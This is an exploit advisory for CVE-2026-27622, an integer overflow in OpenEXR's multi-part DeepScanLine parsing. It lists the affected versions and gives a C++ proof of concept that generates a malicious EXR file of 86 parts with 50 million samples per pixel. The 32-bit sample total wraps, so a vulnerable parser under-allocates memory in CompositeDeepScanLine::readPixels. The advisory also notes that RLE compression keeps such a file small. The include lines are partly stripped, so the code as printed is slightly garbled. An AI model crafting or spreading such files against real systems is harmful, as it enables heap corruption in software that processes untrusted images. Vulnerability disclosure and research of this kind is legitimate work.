============================================================================================================================================= | # Title : OpenEXR DeepScanLine Multi Part Files Integer Overflow | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://openexr.com/ | ============================================================================================================================================= [+] Summary : This C++ poc CVE-2026-27622 a potential integer overflow condition when processing specially crafted multi‑part DeepScanLine EXR files. The program generates a malicious .exr file containing 86 parts, where each pixel is assigned 50,000,000 samples. When these values are summed internally using a 32‑bit unsigned integer, the total sample count exceeds the maximum value (≈4.29 billion) and wraps around due to integer overflow. Real total samples per pixel: 4,300,000,000 Wrapped 32‑bit value: 5,032,704 Because of this overflow, a vulnerable parser may allocate far less memory than required, which can lead to heap corruption or buffer overflow conditions during processing. The PoC only generates the crafted EXR structure to illustrate the issue. In real research scenarios, techniques such as compression (e.g., RLE) could be used to keep the malicious file size small while still representing extremely large sample counts. [+] affected : affected at >= 2.3.0, < 3.2.6 affected at >= 3.3.0, < 3.3.8 affected at >= 3.4.0, < 3.4.6 [+] POC : #include #include #include #include #include #include #include #include using namespace Imf; using namespace Imath; using namespace std; int main() { const char* filename = "exploit_deep_overflow.exr"; const int width = 128; const int height = 1; const int numParts = 86; const unsigned int maliciousSampleCount = 50000000; cout << "[+] Preparing " << numParts << " malicious parts..." << endl; vector
headers; for (int i = 0; i < numParts; ++i) { Header h(width, height); h.setType(DEEPSCANLINE); h.channels().insert("Z", Channel(FLOAT)); h.channels().insert("A", Channel(FLOAT)); h.setName("part_" + to_string(i)); // Use RLE compression to keep the file size small on disk h.compression() = RLE_COMPRESSION; headers.push_back(h); } try { MultiPartOutputFile file(filename, headers.data(), headers.size()); for (int i = 0; i < numParts; ++i) { DeepScanLineOutputPart part(file, i); Array2D sampleCounts(height, width); for (int y = 0; y < height; ++y) { for (int x = 0; x < width; ++x) { sampleCounts[y][x] = maliciousSampleCount; } } // Bind the sample count table DeepFrameBuffer frameBuffer; frameBuffer.insertSampleCountVarying( "sampleCount", (char*)(sampleCounts[0]), sizeof(unsigned int), sizeof(unsigned int) * width ); part.setFrameBuffer(frameBuffer); part.writePixels(height); if (i % 10 == 0) cout << "[>] Writing part " << i << "..." << endl; } cout << "\n[SUCCESS] Malicious file generated: " << filename << endl; cout << "[!] Target: CompositeDeepScanLine::readPixels" << endl; cout << "[!] Expected Overflow: 4.3B samples -> 5.03M allocated" << endl; } catch (const std::exception& e) { cerr << "[-] Error: " << e.what() << endl; return 1; } return 0; } Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================